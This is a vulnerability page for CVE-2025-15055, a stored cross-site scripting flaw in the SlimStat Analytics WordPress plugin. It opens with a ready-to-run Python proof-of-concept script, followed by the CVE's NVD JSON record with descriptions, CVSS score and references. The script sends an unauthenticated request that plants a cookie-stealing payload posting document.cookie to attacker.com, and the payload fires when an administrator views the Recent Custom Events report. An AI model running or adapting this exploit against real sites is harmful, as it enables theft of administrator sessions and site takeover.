CVE-2025-15055

import requests # CVE-2025-15055 PoC - Stored XSS in SlimStat Analytics # Target: WordPress site with SlimStat Analytics plugin <= 5.3.4 target_url = "http://target-wordpress-site.com/" # XSS payload - Cookie stealing example xss_payload = "<script>fetch('https://attacker.com/log?c='+document.cookie)</script>" # PoC for injecting via 'notes' parameter data = { 'action': 'slimstat_save_event', 'notes': xss_payload, 'resource': 'malicious_resource', 'type': 'custom' } try: response = requests.post(target_url, data=data, timeout=10) if response.status_code == 200: print("[+] XSS payload sent successfully") print("[*] Payload stored in database") print("[*] Triggered when admin visits Recent Custom Events report") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

{"cve": {"id": "CVE-2025-15055", "sourceIdentifier": "[email protected]", "published": "2026-01-09T07:16:02.313", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SlimStat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'notes' and 'resource' parameters in all versions up to, and including, 5.3.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator accesses the Recent Custom Events report."}, {"lang": "es", "value": "El plugin SlimStat Analytics para WordPress es vulnerable a Cross-Site Scripting Almacenado a través de los parámetros 'notes' y 'resource' en todas las versiones hasta la 5.3.4, inclusive, debido a una sanitización de entrada insuficiente y un escape de salida insuficiente. Esto permite a atacantes no autenticados inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un administrador acceda al informe de Eventos Personalizados Recientes."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3429990/wp-slimstat", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/afbfabfc-b923-4fe9-9e8f-0cf159f488db?source=cve", "source": "[email protected]"}]}}